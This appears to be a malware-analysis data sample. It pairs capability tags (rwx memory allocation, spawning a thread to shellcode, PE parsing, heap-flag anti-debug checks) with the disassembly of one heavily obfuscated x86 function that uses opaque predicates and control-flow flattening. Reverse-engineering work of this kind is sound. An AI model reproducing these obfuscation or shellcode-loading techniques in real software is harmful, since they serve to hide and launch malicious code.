Function at 0x47ab50
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1080
call fcn.005e3b00
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x651080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0x29f33578
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xb557ec1c
add edx, 0x3bb76656
add edx, 0xb557ec1c
xor esi, esi
sub esi, 0x29f33578
add edx, esi
sub edx, 0xef5d75a0
sub edx, 0xb26ce035
add edx, 0xef5d75a0
add edx, 0x4e017e83
sub edx, 1
sub edx, 0x4e017e83
sub edx, 0x56b3c4d
add edx, 0xb26ce035
add edx, 0x56b3c4d
mov edi, 0xacc48e51
add edi, 0
sub edi, 0x3bb76656
sub edi, 0xacc48e51
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1a2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1a1], al
mov dword [ebp - 0x1a8], 0x91e77d5a
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1b4], eax
sub eax, 0x8209506e
je 0x48cfb5
jmp 0x47ac4a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x82a3755e
je 0x4a7515
jmp 0x47ac60
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8300cbab
je 0x49bd19
jmp 0x47ac76
mov eax, dword [ebp - 0x1b4]
sub eax, 0x854feaf1
je 0x4846bc
jmp 0x47ac8c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8960bf39
je 0x499019
jmp 0x47aca2
mov eax, dword [ebp - 0x1b4]
sub eax, 0x898f0815
je 0x49853d
jmp 0x47acb8
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8a089e8a
je 0x4ad81b
jmp 0x47acce
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8b7de7e2
je 0x494b79
jmp 0x47ace4
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8be82419
je 0x484b0a
jmp 0x47acfa
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8c3ae371
je 0x489bcb
jmp 0x47ad10
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8ca58134
je 0x4972a3
jmp 0x47ad26
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8e33ba79
je 0x49685b
jmp 0x47ad3c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8ecf5b39
je 0x4b4780
jmp 0x47ad52
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f46a68b
je 0x4b421d
jmp 0x47ad68
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f71336c
je 0x4a42c0
jmp 0x47ad7e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f9365b7
je 0x493a59
jmp 0x47ad94
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8fd5fe6f
je 0x47d79c
jmp 0x47adaa
mov eax, dword [ebp - 0x1b4]
sub eax, 0x90940754
je 0x4b27a4
jmp 0x47adc0
mov eax, dword [ebp - 0x1b4]
sub eax, 0x91e77d5a
je 0x47c223
jmp 0x47add6
mov eax, dword [ebp - 0x1b4]
sub eax, 0x91ee76a3
je 0x480220
jmp 0x47adec
mov eax, dword [ebp - 0x1b4]
sub eax, 0x93073abd
je 0x49935f
jmp 0x47ae02
mov eax, dword [ebp - 0x1b4]
sub eax, 0x933e9f5c
je 0x4a42ea
jmp 0x47ae18
mov eax, dword [ebp - 0x1b4]
sub eax, 0x93c957e4
je 0x4b47bc
jmp 0x47ae2e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x94e96405
je 0x489a67
jmp 0x47ae44
mov eax, dword [ebp - 0x1b4]
sub eax, 0x94ffaf68
je 0x4ac1a6
jmp 0x47ae5a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x950b430b
je 0x4864e5
jmp 0x47ae70
mov eax, dword [ebp - 0x1b4]
sub eax, 0x95afa420
je 0x490598
jmp 0x47ae86
mov eax, dword [ebp - 0x1b4]
sub eax, 0x97fca45b
je 0x47d847
jmp 0x47ae9c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x98a29b41
je 0x480613
jmp 0x47aeb2
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9a008b81
je 0x48928e
jmp 0x47aec8
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9af59531
je 0x4aa15f
jmp 0x47aede
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9af6686e
je 0x4b4ab0
jmp 0x47aef4
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9dc128c5
je 0x486bfe
jmp 0x47af0a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa0f2def0
je 0x4b4f9e
jmp 0x47af20
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa1446250
je 0x491ea7
jmp 0x47af36
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa1503c46
je 0x491d8e
jmp 0x47af4c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa41cb053
je 0x4b4b91
jmp 0x47af62
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa435b24c
je 0x4a5b46
jmp 0x47af78
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa46dc1c5
je 0x48c1f9
jmp 0x47af8e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa65842a8
je 0x4b423e
jmp 0x47afa4
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa6e95265
je 0x4b1109
jmp 0x47afba
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa6ee9671
je 0x4a07da
jmp 0x47afd0
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa7a7964c
je 0x4b29a0
jmp 0x47afe6
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa7ce612b
je 0x4b4846
jmp 0x47affc
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa969fe51
je 0x4b4661
jmp 0x47b012
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa973b167
je 0x49bd37
jmp 0x47b028
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa9c2a543
je 0x47cbcf
jmp 0x47b03e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xac05f1e2
je 0x49f1d3
jmp 0x47b054
mov eax, dword [ebp - 0x1b4]
sub eax, 0xac0c6cb9
je 0x4b4ada
jmp 0x47b06a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xac89756c
je 0x4b4fc0
jmp 0x47b080
mov eax, dword [ebp - 0x1b4]
sub eax, 0xaca8e2d9
je 0x4b4a7d
jmp 0x47b096
mov eax, dword [ebp - 0x1b4]
sub eax, 0xad65a1d1
je 0x4a943d
jmp 0x47b0ac
mov eax, dword [ebp - 0x1b4]
sub eax, 0xadfa4da5
je 0x4b430c
jmp 0x47b0c2
mov eax, dword [ebp - 0x1b4]
sub eax, 0xaf55beef
je 0x49030b
jmp 0x47b0d8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb05c8a40
je 0x483739
jmp 0x47b0ee
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb29e3932
je 0x494d92
jmp 0x47b104
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb3e65c97
je 0x47e7b2
jmp 0x47b11a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb42ee3f5
je 0x4b4f79
jmp 0x47b130
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb6b42efe
je 0x4946e3
jmp 0x47b146
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb6fbb9fa
je 0x4b48a6
jmp 0x47b15c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb8da84b0
je 0x48c1ea
jmp 0x47b172
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbae88b81
je 0x4a1fdc
jmp 0x47b188
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbaf01eb7
je 0x4b4882
jmp 0x47b19e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbba15faa
je 0x482a44
jmp 0x47b1b4
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbcb2cc1c
je 0x4a94a3
mov ah, byte [ebp - 0x1a2]
mov dl, byte [ebp - 0x1a1]
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, ah
and cl, ch
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, ah
xor cl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov bh, dl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ch
or al, cl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, bl
or al, ch
xor cl, al
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x1e0], ch
mov bl, al
xor bl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and bh, cl
mov byte [ebp - 0x1e2], bh
mov bh, bl
and bh, 0xff
and al, cl
mov byte [ebp - 0x1e1], al
mov al, byte [ebp - 0x1e2]
or ch, al
mov al, byte [ebp - 0x1e1]
or bh, al
mov al, byte [ebp - 0x1e0]
xor ch, bh
or al, bl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0x1df], al
mov bl, 1
xor bl, 0
mov cl, bl
and cl, 0
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1de], al
mov al, byte [ebp - 0x1df]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x1de]
or cl, bl
xor al, cl
mov byte [ebp - 0x1db], al
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x1da], al
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
mov al, cl
and al, 1
mov byte [ebp - 0x1dd], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1dc], al
mov al, byte [ebp - 0x1dd]
and cl, 1
or bl, al
mov al, byte [ebp - 0x1dc]
or al, cl
xor bl, al
mov al, 1
xor al, 0
mov cl, bl
xor cl, al
mov al, byte [ebp - 0x1db]
and cl, bl
mov byte [ebp - 0x1d9], cl
mov cl, 1
xor cl, 1
xor al, 0xff
mov bl, 1
xor bl, 0
or cl, al
mov al, byte [ebp - 0x1da]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0x1d9]
or bl, bh
mov byte [ebp - 0x1d4], bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1d5], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1d6], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x1d8], al
mov al, byte [ebp - 0x1d6]
and al, 0
mov byte [ebp - 0x1d7], al
mov al, byte [ebp - 0x1d8]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1d7]
or al, cl
mov cl, byte [ebp - 0x1d6]
xor bl, al
mov al, byte [ebp - 0x1d5]
or al, cl
mov cl, byte [ebp - 0x1d4]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov bh, cl
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and cl, bl
or al, cl
mov byte [ebp - 0x1bc], al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, bl
or al, cl
xor bh, al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0x1d3], al
mov al, 1
xor al, 1
mov cl, dh
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x1d3]
or al, cl
mov cl, byte [ebp - 0x1bc]
or bl, bh
xor al, bl
mov bh, dh
xor bh, 0xff
mov bl, al
xor bl, bh
and bl, al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ah, bh
or al, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, al
and cl, bh
xor al, bh
or cl, al
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov byte [ebp - 0x1d2], al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x1d2]
or ah, bh
xor al, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, ch
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, ch
and al, cl
or ah, al
mov al, ch
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0x1bc]
and cl, ah
mov byte [ebp - 0x1c6], cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x1d1], cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and al, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, al
mov al, byte [ebp - 0x1d1]
or dl, ah
xor cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov byte [ebp - 0x1cc], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x1cd], dl
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x1ce], ah
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x1d0], al
mov al, byte [ebp - 0x1ce]
and al, 0xff
mov byte [ebp - 0x1cf], al
mov al, byte [ebp - 0x1d0]
and cl, ah
or dl, al
mov al, byte [ebp - 0x1cf]
or al, cl
mov cl, byte [ebp - 0x1ce]
xor dl, al
mov al, byte [ebp - 0x1cd]
or al, cl
mov cl, byte [ebp - 0x1cc]
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x1c8], ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1c9], al
mov al, 1
xor al, 0
mov byte [ebp - 0x1c7], al
and ah, 0
and al, 1
mov byte [ebp - 0x1cb], al
mov al, byte [ebp - 0x1c9]
and al, 0
mov byte [ebp - 0x1ca], al
mov al, byte [ebp - 0x1c7]
and cl, al
mov al, byte [ebp - 0x1cb]
or ah, al
mov al, byte [ebp - 0x1ca]
or al, cl
mov cl, byte [ebp - 0x1c9]
xor ah, al
mov al, byte [ebp - 0x1c8]
or al, cl
mov cl, byte [ebp - 0x1c7]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1c6]
or ah, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x1c5], al
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0x1c5]
or al, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, bh
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov byte [ebp - 0x1c3], al
mov ah, bl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bl, al
mov byte [ebp - 0x1c4], bl
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x1c4]
or ah, al
mov al, byte [ebp - 0x1c3]
or bl, bh
xor ah, bl
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov bl, cl
xor bl, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x1c0], cl
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and bl, dl
mov byte [ebp - 0x1c2], bl
mov bl, ah
and bl, 0xff
and al, dl
mov byte [ebp - 0x1c1], al
mov al, byte [ebp - 0x1c2]
or cl, al
mov al, byte [ebp - 0x1c1]
or bl, al
mov al, byte [ebp - 0x1c0]
xor cl, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov bl, bh
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1bf], ah
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov bl, dl
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x1bf]
or bl, bh
xor ah, bl
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, dh
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor dl, 0xff
mov ch, dh
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, bh
or ch, bl
xor al, ch
mov ch, 1
xor ch, 1
mov bh, al
xor bh, ch
and bh, al
mov al, 1
xor al, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
and bh, dl
mov byte [ebp - 0x1be], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0x1bd], al
mov al, byte [ebp - 0x1be]
or ch, al
mov al, byte [ebp - 0x1bd]
or bh, al
mov al, byte [ebp - 0x1bc]
xor ch, bh
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0x1bb], cl
mov cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
mov bh, al
and bh, dl
xor al, 0xff
and al, 1
or bh, al
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov al, dl
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1bb]
or bl, bh
xor al, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov ch, cl
and ch, bl
mov al, dl
xor al, 0xff
and al, 0xff
and dl, bl
or dh, ch
or al, dl
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov byte [ebp - 0x1b6], cl
mov bh, dh
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, bl
or al, ch
xor dl, al
mov ch, 1
xor ch, 1
mov al, cl
xor al, ch
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, 1
xor bl, 1
mov ch, 1
xor ch, 0
or ah, bl
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x1b8], ah
xor dh, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or dh, ch
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x1b7], ch
mov bl, 1
xor bl, 0
mov ch, ah
and ch, 0
and al, bl
mov byte [ebp - 0x1ba], al
mov al, byte [ebp - 0x1b7]
and al, 0
mov byte [ebp - 0x1b9], al
mov al, byte [ebp - 0x1ba]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1b9]
or al, cl
mov cl, byte [ebp - 0x1b8]
xor ch, al
mov al, byte [ebp - 0x1b7]
or ah, al
mov al, byte [ebp - 0x1b6]
xor ah, 0xff
or bl, 0
and ah, bl
or ch, ah
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1b5], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov dh, ah
and dh, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x1b5]
or dh, bh
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa65842a8
mov ecx, 0xa9c2a543
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
push eax
mov eax, esp
mov dword [ebp - 0x1a0], eax
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
xor esi, esi
sub esi, 0x716bb927
sub esi, 0xa02054a1
add esi, 0x716bb927
mov edx, eax
add edx, 0xf2165c21
add edx, esi
sub edx, 0xf2165c21
sub edx, 0x2370896b
sub edx, 0xcfe0ecc5
add edx, 0x2370896b
sub edx, 0x7a031f91
sub edx, 1
add edx, 0x7a031f91
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xcfe0ecc5
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x4be5106
add edx, esi
add edx, 0xc46935b1
add edx, 0xa02054a1
sub edx, 0xc46935b1
add edx, 0x8e041314
add edx, 0x4be5106
sub edx, 0x8e041314
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ch
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov cl, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor dl, 0xff
mov bh, 1
xor bh, 1
mov cl, 1
xor cl, 1
or dl, bh
or cl, 1
xor dl, 0xff
and dl, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dh, cl
xor dh, 0xff
mov dl, ah
and dl, dh
xor ah, 0xff
and cl, ah
or dl, cl
mov byte [ebp - 0x1e8], dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
mov ah, 1
xor ah, 1
xor dh, 0xff
mov cl, 1
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
xor cl, 0xff
mov dh, ch
xor dh, cl
and dh, ch
mov cl, ah
and cl, dh
xor ah, dh
or cl, ah
mov byte [ebp - 0x1ef], cl
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or bl, bh
or ah, dh
xor bl, ah
mov ah, 1
xor ah, 1
xor bl, 0xff
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov byte [ebp - 0x1e6], dh
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or ah, bh
or cl, bl
xor ah, cl
mov cl, dl
xor cl, 0xff
mov bl, ah
and bl, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
mov ah, byte [ebp - 0x1ef]
or al, cl
xor bh, al
mov al, ah
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, ah
and al, bh
or cl, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x1f7], al
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, 1
xor al, 1
and al, 1
